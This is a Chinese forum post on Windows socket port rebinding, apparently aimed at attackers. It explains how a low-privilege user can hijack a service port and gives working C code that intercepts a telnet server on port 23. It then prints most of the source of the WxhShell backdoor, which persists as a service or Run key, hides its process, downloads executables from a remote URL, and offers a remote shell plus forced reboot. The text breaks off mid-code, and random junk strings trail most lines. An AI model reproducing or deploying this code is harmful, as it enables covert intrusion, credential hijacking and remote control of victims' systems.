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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /^\E:(RH  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 74:~F)BP  
rKFnivGT  
  saddr.sin_family = AF_INET; $M!iQ"bb  
BKb#\(95*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $U9]v5  
j3N d4#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); N|>JLZ>  
+Ss3Ph  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /BQqg0 8@L  
Umzb  
  这意味着什么?意味着可以进行如下的攻击: #>,E"-]f  
6aHD?a o  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -\;0gnf{J  
t0@AfO.'1  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Jp}\@T.  
5p:BHw;%;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 IpSWg  
YwF&-~mp7n  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  )1Y?S;  
-Q JPJ.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 w $-q&  
pmWy:0R  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /J/V1dC}]D  
]d7A|)q  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8Yf*vp>T/x  
(s&]V49  
  #include OPjNmdeS  
  #include DmPsE6G}  
  #include 2\z|/ Q  
  #include    oPni4^g i  
  DWORD WINAPI ClientThread(LPVOID lpParam);   zaLPPm&f  
  int main() }+pwSjsno  
  { D& o\q68W  
  WORD wVersionRequested; srAWet  
  DWORD ret; ~TS!5Wiv  
  WSADATA wsaData; MusUgBQy  
  BOOL val; kV T |(Y  
  SOCKADDR_IN saddr; YG:^gi  
  SOCKADDR_IN scaddr; (Sgsy^|N  
  int err; 9s[   
  SOCKET s; 0!ZaR 6  
  SOCKET sc; &p_iAMn:9  
  int caddsize; n^l*oEl  
  HANDLE mt; )`'a1y|  
  DWORD tid;   8M,@Mb n  
  wVersionRequested = MAKEWORD( 2, 2 ); {,h_T0D^j  
  err = WSAStartup( wVersionRequested, &wsaData ); bfZt<-  
  if ( err != 0 ) { ~]d9 J  
  printf("error!WSAStartup failed!\n"); fpC":EX@r  
  return -1; k+P3z&e  
  } Bt,'g* Cs  
  saddr.sin_family = AF_INET; s5mJ -  
   3F!)7  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 lMu-,Z="  
,tg]Gt  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); M/9[P* VE  
  saddr.sin_port = htons(23); IO 0nT  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1y1:<t  
  { 'kC#GTZi  
  printf("error!socket failed!\n"); rCczQ71W  
  return -1; lZ[J1:%  
  } |? fAe {*  
  val = TRUE; eZ[Qhrc  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 r2'K'?T3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) w@Q~ax/  
  { L?j<KW  
  printf("error!setsockopt failed!\n"); <\Y(+?+uZ  
  return -1; 41Q)w=hoN  
  } Et(H6O 8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; j n SZ@u  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 U YJ>L  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +}?%w|8||s  
*C+[I  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?Sa,n^b*H  
  { I(7iD. ^:  
  ret=GetLastError(); ]S@T|08b  
  printf("error!bind failed!\n"); uM\\(g}  
  return -1; LA59O@r  
  } cl]W]^q-Cx  
  listen(s,2); %r.C9  
  while(1) |;)_-=L0P  
  { >yn]h4M  
  caddsize = sizeof(scaddr); v@yqTZ  
  //接受连接请求 c!wRq4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~J+ qIZge  
  if(sc!=INVALID_SOCKET) e],(d7Jo  
  { RfD#/G3|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); U_gkO;s%  
  if(mt==NULL) *!BQ1 ] G  
  { ;^0ok'P\~9  
  printf("Thread Creat Failed!\n"); =LK`m NA  
  break; .B2e$`s$  
  } kJOZ;X=9/  
  } m,q)lbRl  
  CloseHandle(mt); N5=}0s]e  
  } Gsy>"T{CY  
  closesocket(s); |IzL4>m:;  
  WSACleanup(); L / WRVc6  
  return 0; h>[ qXz  
  }   z(^dwMw}  
  DWORD WINAPI ClientThread(LPVOID lpParam) -UzWLVB^  
  { L[*cbjt[  
  SOCKET ss = (SOCKET)lpParam; nXb_\ 9E  
  SOCKET sc; Vraz}JV  
  unsigned char buf[4096]; nFGX2|d  
  SOCKADDR_IN saddr; ^ /%Y]d$  
  long num; W|rAn2H  
  DWORD val; Lk#)VGk:  
  DWORD ret; Oe@w$?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 PX&}g-M9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1(# H%  
  saddr.sin_family = AF_INET; ,Fkq/h  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #`%S[)RT  
  saddr.sin_port = htons(23); A=|a!N/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P(8 uL|^  
  { |P|2E~[r  
  printf("error!socket failed!\n"); &Fuk+Cu{  
  return -1; I/A%3i=H  
  } D aHbOs_<  
  val = 100; 3PRU  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U*sQ5uq  
  { S\t!7Xs%*U  
  ret = GetLastError(); ebCS4&c  
  return -1; L1Yj9i  
  } 'w72i/  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1'TS!/ll];  
  { tq'hiS(b  
  ret = GetLastError(); s%Ph  
  return -1; jR\ !2!  
  } 40].:9VG  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) udr|6EjD.  
  { *,O3@,+>H  
  printf("error!socket connect failed!\n"); ~.U \Y  
  closesocket(sc); hH;i_("i(h  
  closesocket(ss); f]?&R c2C  
  return -1; 06.8m;{N  
  } w^nA/=;r  
  while(1) HEa7!h[a'  
  { ".#h$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~Cynw(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 e F}KOOfC  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;Q/1l=Bn  
  num = recv(ss,buf,4096,0); OR+py.vK  
  if(num>0) awQGu,<N  
  send(sc,buf,num,0); z`\KQx  
  else if(num==0) W[Z[o+7pK  
  break; p*@t$0i  
  num = recv(sc,buf,4096,0); j%Uoigi  
  if(num>0) ObreDv^,  
  send(ss,buf,num,0); \{a5]G(4s  
  else if(num==0) ;tA$ x!5]  
  break; 7u :kR;wk  
  } 0xCe6{86  
  closesocket(ss); tr/.pw6  
  closesocket(sc); DOkuT/+  
  return 0 ; v6L]3O1  
  } mO]dP;,  
5K$<Ad4$b  
).e}.Z6[i`  
========================================================== <W7WlT  
H)dZ0n4T  
下边附上一个代码,,WXhSHELL xkSVD6Km  
YG0b*QBY~  
========================================================== [Ran/D\.  
Tl]yl$  
#include "stdafx.h" w6Mv%ZO_  
TMs Cl6dB  
#include <stdio.h> tBl (E  
#include <string.h> ^x^(Rk}|  
#include <windows.h> l)jP!k   
#include <winsock2.h> f$dIPt(  
#include <winsvc.h>  fWs*u[S  
#include <urlmon.h> -*J!Ws(9  
fF9hL3h?)  
#pragma comment (lib, "Ws2_32.lib") %i?v)EW  
#pragma comment (lib, "urlmon.lib") gCVOm-*:  
$cm 9xW&  
#define MAX_USER   100 // 最大客户端连接数 F1M:"-bda  
#define BUF_SOCK   200 // sock buffer .We{W{  
#define KEY_BUFF   255 // 输入 buffer U^)`_\/;?  
10m|?  
#define REBOOT     0   // 重启 2 1+[9  
#define SHUTDOWN   1   // 关机 Q~' \oWz  
2!b##`UjA7  
#define DEF_PORT   5000 // 监听端口 `Nz`5}8.?  
WW^+X~Y  
#define REG_LEN     16   // 注册表键长度 `P:[.hRu  
#define SVC_LEN     80   // NT服务名长度 H<?s[MH[  
-2 8bJ,  
// 从dll定义API "d}ey=$h4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Co=Bq{GY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (#z6w#CU(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^7;s4q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $2}%3{<j  
EUV8H}d5  
// wxhshell配置信息 &=:3/;c  
struct WSCFG { %S$$*|_G  
  int ws_port;         // 监听端口 44YKS>Cq  
  char ws_passstr[REG_LEN]; // 口令 #ZnNJ\6  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7i#/eRui  
  char ws_regname[REG_LEN]; // 注册表键名 !3DY#  
  char ws_svcname[REG_LEN]; // 服务名 $ O[Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S9%,{y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _bgv +/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YGc:84S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no PQh s^D  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KU]o=\ak%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Unb3 Gv#O  
rQU6*f  
}; 9ZY,T]ym?  
M#m;jJqON  
// default Wxhshell configuration MQ0r ln?  
struct WSCFG wscfg={DEF_PORT, difX7)\  
    "xuhuanlingzhe", _F|}=^Z`  
    1, BIe:7cR%  
    "Wxhshell", 39F e#u  
    "Wxhshell", =1,1}OucP  
            "WxhShell Service", U)aftH *Pk  
    "Wrsky Windows CmdShell Service", .|s,':hA  
    "Please Input Your Password: ", j4]3}t0q  
  1, ~gNFcJuy  
  "http://www.wrsky.com/wxhshell.exe", {0-rnSjC  
  "Wxhshell.exe" >V]9<*c  
    }; ,j.bdlI#  
jcBZ#|B7;  
// 消息定义模块 3hUP>F8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V RD^>Gi  
char *msg_ws_prompt="\n\r? for help\n\r#>"; MHye!T6fO\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2\gIjXX"  
char *msg_ws_ext="\n\rExit."; $z 5kA9  
char *msg_ws_end="\n\rQuit."; ;_E|I=%'E  
char *msg_ws_boot="\n\rReboot..."; WBm)Q#1:  
char *msg_ws_poff="\n\rShutdown..."; v+SdjFAY  
char *msg_ws_down="\n\rSave to "; 'U0W   
F*>#Xr~/  
char *msg_ws_err="\n\rErr!"; ;ny9q  
char *msg_ws_ok="\n\rOK!"; B<,7!:.II  
kOq8zYU|  
char ExeFile[MAX_PATH]; >s0![coz  
int nUser = 0; ~<s =yjTu+  
HANDLE handles[MAX_USER]; oDi+\0  
int OsIsNt; 3T4HX|rC  
n&?)gKL0g  
SERVICE_STATUS       serviceStatus; Dh?I   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; M'|p<SO]  
4i^WE;|s  
// 函数声明 K{"hf:k  
int Install(void); NuD|%Ebs  
int Uninstall(void); MxKTKBxQ  
int DownloadFile(char *sURL, SOCKET wsh); ]yZ%wU9!  
int Boot(int flag); RgQs`aI  
void HideProc(void); _:p-\Oo.  
int GetOsVer(void); 2+~gZxHq  
int Wxhshell(SOCKET wsl); :Q@/F;Z?  
void TalkWithClient(void *cs); uLPBl~Y  
int CmdShell(SOCKET sock); %2g<zdab  
int StartFromService(void); !@N?0@$/  
int StartWxhshell(LPSTR lpCmdLine); mZPvG  
j0a=v}j3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a }*i [  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (}.MB3`#C  
p3{Ff5FZ  
// 数据结构和表定义 ]t`SCsoo  
SERVICE_TABLE_ENTRY DispatchTable[] = gTU5r4xm~  
{ B.~] 7H5"(  
{wscfg.ws_svcname, NTServiceMain}, ; D/6e6  
{NULL, NULL} dl6U]v=  
}; u#Jr_ze  
32%Fdz1S  
// 自我安装 ,c{ckm  
int Install(void) Z[ (d7  
{ NVsaV;u  
  char svExeFile[MAX_PATH]; _*Z3,*~"X  
  HKEY key; ?# _{h  
  strcpy(svExeFile,ExeFile); nhjT2Sl  
9:-7.^`P  
// 如果是win9x系统,修改注册表设为自启动 }f?[m&<  
if(!OsIsNt) { E]GbLU;TH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2{vAs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZILJXX4  
  RegCloseKey(key); "*F`,I3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y1Z>{SDiq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #RaqNu  
  RegCloseKey(key); |('o g*$  
  return 0; *KY:U&*  
    } jnT Tj l  
  } m|c [C\)By  
} vgD+Y   
else { GQ7uxdqWBQ  
q` IY;"~  
// 如果是NT以上系统,安装为系统服务 $[,4Ib_|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Sp:w _;{#  
if (schSCManager!=0) {ilz[LM8(  
{ <r t$~}  
  SC_HANDLE schService = CreateService ]77f`<q<}!  
  ( [WG\w j.  
  schSCManager, *q k7e[IP  
  wscfg.ws_svcname, m6n%?8t  
  wscfg.ws_svcdisp, S)j( %g  
  SERVICE_ALL_ACCESS, :-JryiI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4R\jZ@D  
  SERVICE_AUTO_START, jHn7H)F8  
  SERVICE_ERROR_NORMAL, !|H,g wqU  
  svExeFile, #fns3=/ H  
  NULL, W&%,XwkQ  
  NULL, 'hs4k|B  
  NULL, /:(A9b-B  
  NULL, .'<K$:8@|  
  NULL H${LF.8  
  ); % ym};7'&b  
  if (schService!=0) *K;) ~@n  
  { ?{^_z_,  
  CloseServiceHandle(schService); -mG`* 0  
  CloseServiceHandle(schSCManager);  ID,_0b  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9,`i[Dzp  
  strcat(svExeFile,wscfg.ws_svcname); 1(IZ,*i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P@vUQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); It&CM,=t  
  RegCloseKey(key); TPk?MeVy%W  
  return 0; hEB5=~A_  
    } zE/l  
  } `Qo37B2  
  CloseServiceHandle(schSCManager); j $q5m 24L  
} ~wDXjn"U&  
} &NBH'Rt  
BEaF-*?A  
return 1; @??3d9I  
} _!o8s%9be  
$!*>5".A  
// 自我卸载 /3aW 0/^o  
int Uninstall(void) o9e8Oj&  
{ T9V=#+8#"  
  HKEY key; )9`HO?   
Hnt*,C.0  
if(!OsIsNt) { Dq<la+VlO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \~*<[.8~  
  RegDeleteValue(key,wscfg.ws_regname); <{cY2cx~3  
  RegCloseKey(key); CImp,k0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xw9ZRu<z  
  RegDeleteValue(key,wscfg.ws_regname); F~6]II  
  RegCloseKey(key); [cnu K  
  return 0; o>8~rtl  
  } ;<garDf  
} 1+Gq<]@G  
} T]wI)  
else { kaCN^yQ  
Ge`7`D>L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jl P*RX  
if (schSCManager!=0) $L= Dky7  
{ `*vO8v  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .JLJ(WM  
  if (schService!=0) *gwaW!=  
  { "/6#Z>y  
  if(DeleteService(schService)!=0) { 1k6asz^T  
  CloseServiceHandle(schService); O(W"QY  
  CloseServiceHandle(schSCManager); Nb$0pc1J<  
  return 0; UAF$bR  
  } D-/6RVq0m  
  CloseServiceHandle(schService); ;F258/J  
  } "BSY1?k{  
  CloseServiceHandle(schSCManager); IVh5SS  
} /GGyM]k3  
} UH>~Y N  
7_ix&oVI  
return 1; ch8VJ^%Ra1  
} 4u iq'-  
i6V$mhL  
// 从指定url下载文件 sR9$=91`  
int DownloadFile(char *sURL, SOCKET wsh) !tTv$L>  
{  ~frsgHW  
  HRESULT hr; &'/"=lK  
char seps[]= "/"; } 9\_s*  
char *token; mvjx &+q  
char *file; nKGQU,C  
char myURL[MAX_PATH]; @ 3=pFYW)  
char myFILE[MAX_PATH]; F[}#7}xjA  
1TQ?Fxj  
strcpy(myURL,sURL); Xq$-&~   
  token=strtok(myURL,seps); @!")shc  
  while(token!=NULL) 4JK6<Pk  
  { nCi ]6;Y  
    file=token; hOB<6Tm[  
  token=strtok(NULL,seps); n' mrLZw  
  } SEI0G_wk$  
o>M^&)Xs  
GetCurrentDirectory(MAX_PATH,myFILE); myA;Y  
strcat(myFILE, "\\"); 9wR D=a  
strcat(myFILE, file); z|3v~,  
  send(wsh,myFILE,strlen(myFILE),0); @]n8*n  
send(wsh,"...",3,0); q.=Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H7+z"^s*  
  if(hr==S_OK) #tKks:eL  
return 0; :'bZ:J>f  
else /}@F q  
return 1; zY\u" '4  
VvW4!1Dl  
} }SWfP5D@  
T@ESMPeU:X  
// 系统电源模块 I+ |uyc  
int Boot(int flag)  d\ #yWY  
{ AVjRhe   
  HANDLE hToken; 9R$$(zB 1;  
  TOKEN_PRIVILEGES tkp; n@+?tYk*e  
IB# ua:  
  if(OsIsNt) { /rZk^/'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TI3xt-/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3q4Zwv0z20  
    tkp.PrivilegeCount = 1; XcoX8R%U  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cV>?*9z0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); p|->z  
if(flag==REBOOT) { 6kp)'wz`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A~Sc ] M  
  return 0; (DvPdOT+3  
} WILa8"M  
else { |5(un#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o+hp#e  
  return 0; !X7z y9  
} O83J[YuzjN  
  } O;4S<N  
  else { R^`}DlHX  
if(flag==REBOOT) { #"6l+}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :i>LESJq  
  return 0; #tZ!D^GQHq  
} 5*2hTM!  
else { ?:/J8s [O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]uFJ~ :R  
  return 0; ti GH#~?  
} pHR`%2!"t  
} \ R}I4'  
gtH^'vFZ  
return 1; U $#^ e  
} 'E#L6,&  
WrwbLlE  
// win9x进程隐藏模块 mIf)=RW  
void HideProc(void) ;sA 5&a>!  
{ 4'D^>z!c  
c),UO^EqV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pRjEuOc  
  if ( hKernel != NULL ) ;s,1/ kA  
  { J37vA zK%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pm+E)z6Yo  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); / P@P1l|I  
    FreeLibrary(hKernel); Uot(3p!S6  
  } ww %c+O/  
DOtz  
return; H$?MPA-c  
} W:<2" &7  
~L&z? 'V  
// 获取操作系统版本 |goBIp[  
int GetOsVer(void) Ow?~+) 4  
{ a?Fz&BE  
  OSVERSIONINFO winfo; 1y[~xxgE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O(evlci  
  GetVersionEx(&winfo); N@0/=B[n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c%G~HOE=B  
  return 1; rYPuo  
  else n.N0Nhd  
  return 0; sifjmNP  
} &56\@t^  
fR;[??NH  
// 客户端句柄模块 :Hitx  
int Wxhshell(SOCKET wsl) B[sI7D>Y  
{ evEdFY  
  SOCKET wsh; S~ckIN]  
  struct sockaddr_in client; N *m;A6?  
  DWORD myID; Jyd[Sc)  
n=rmf*,?  
  while(nUser<MAX_USER) l{rHXST|  
{ g NE"z   
  int nSize=sizeof(client); uUaDesz~=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); dn~k_J=p  
  if(wsh==INVALID_SOCKET) return 1; W"/,<xHuh  
#lFsgb  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  1^hG}#6_  
if(handles[nUser]==0) s;<]gaonB_  
  closesocket(wsh); Q%'4jn?H  
else ;YokPiBy  
  nUser++; f~?5;f:E  
  } Yc[vH=gV}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p&(z'd  
mtFC H  
  return 0; meB9 :w[m  
} #?M[Q:  
p/ZgzHyF  
// 关闭 socket sn[<Lq  
void CloseIt(SOCKET wsh) QWm g#2'  
{ Or/YEt}  
closesocket(wsh); vG}\Amx+  
nUser--; sWA-_4  
ExitThread(0); Ktuv a3=>N  
} wMm+E "}W  
yYJ +vs  
// 客户端请求句柄 }+NlY D:qF  
void TalkWithClient(void *cs) 29@m:=-}7  
{ s*CBYzOm  
}e"2Nc_UG  
  SOCKET wsh=(SOCKET)cs; qi_uob  
  char pwd[SVC_LEN]; ( F R  
  char cmd[KEY_BUFF]; K#v@bu:'  
char chr[1]; sN[<{;K4  
int i,j; LD|T1 .  
*bcemH8f  
  while (nUser < MAX_USER) { [A uA<  
 X|TGM  
if(wscfg.ws_passstr) { SX?hu|g_r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `sdbo](76  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U z)G Y  
  //ZeroMemory(pwd,KEY_BUFF); 0rDQJCm  
      i=0; <aMihT)dd  
  while(i<SVC_LEN) { 's8LrO(=  
EffU-=?%!  
  // 设置超时 $xcU*?=K  
  fd_set FdRead; %E":Wv  
  struct timeval TimeOut; ac43d`wpK  
  FD_ZERO(&FdRead); yW(A0  
  FD_SET(wsh,&FdRead); XC[AJ!q`  
  TimeOut.tv_sec=8; z[+pN:47  
  TimeOut.tv_usec=0; A{eh$Ot%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7bW ''J*6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dr=KoAIxy  
yrMakT=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nzi)4"3O  
  pwd=chr[0]; :=`N2D  
  if(chr[0]==0xd || chr[0]==0xa) { =5p?4/4 J  
  pwd=0; <~5$<L4  
  break; vdulrnGqL  
  } [+dTd2uZ<\  
  i++; ~:4Mf/Ca  
    } ]\=M$:,RZ  
F>q%~  
  // 如果是非法用户,关闭 socket B&lF! ]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }PzYt~Z`@  
} m,]h7xx  
J {#C<C  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W-"FRTI4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P4"EvdV7  
}'TZ)=t{J  
while(1) { TSd;L u%hr  
!B*d,_9 c  
  ZeroMemory(cmd,KEY_BUFF); :B_ itl0{e  
'l'[U  
      // 自动支持客户端 telnet标准   aQfrDM<*XS  
  j=0; ""F' Nzy  
  while(j<KEY_BUFF) { X@7e 7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @ GzN0yXhR  
  cmd[j]=chr[0];  /I' np  
  if(chr[0]==0xa || chr[0]==0xd) { *j|BSd P  
  cmd[j]=0; SR 1UO'.  
  break; 6n.C!,Zmn  
  } ]?2&d[  
  j++; SJI+$L\'  
    } D)LqkfJ}z^  
}~o>H a;  
  // 下载文件 Qte'f+  
  if(strstr(cmd,"http://")) { cd*F;h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,W<mz7Z(@  
  if(DownloadFile(cmd,wsh)) A?OaP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); GfT`>M?QGK  
  else 6t6#<ts  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !Zf)N_k  
  } ,ffH:3F  
  else { KbF,jm5  
9/S-=VOe.t  
    switch(cmd[0]) { U_c9T>=  
  ur`:wR] 2?  
  // 帮助 2f@gR9T  
  case '?': { H`ZUI8-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fNaS?tV)  
    break; ,a,coeL  
  } f qU*y 6]  
  // 安装 zpd Z.  
  case 'i': { \XlT  
    if(Install()) }Pe0zx.Ge  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {oN7I'>  
    else hGvuA9d~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }M9L,O*^   
    break; {e8.E<f-  
    } q6v%HF-q4  
  // 卸载 7w{>bYP  
  case 'r': { PYz^9Ud 6g  
    if(Uninstall()) ra k@oW]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qS|t7*  
    else sIh,@b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7*r7Q'  
    break; $n?@zd@53  
    } ,;yiV<AD  
  // 显示 wxhshell 所在路径  OL|UOG  
  case 'p': { "(rG5z3P  
    char svExeFile[MAX_PATH]; NrdbXPHceN  
    strcpy(svExeFile,"\n\r"); .DSmy\FI5  
      strcat(svExeFile,ExeFile); {` Lem  
        send(wsh,svExeFile,strlen(svExeFile),0); cvvba 60  
    break; ']ussFaQ  
    } `PR)7}/<  
  // 重启 aJ1<X8  
  case 'b': { n089tt=TE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z@3t>k|K  
    if(Boot(REBOOT)) 7Z/KXc[b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jn9KQe\3  
    else { iWZrZ5l  
    closesocket(wsh); Q}M% \v  
    ExitThread(0); r0)X]l7  
    } \j]i"LpWb  
    break; }?=$?3W  
    } .* xaI+:  
  // 关机 h$EH|9HAb  
  case 'd': { g9`z]qGWS:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4~3 N;]X  
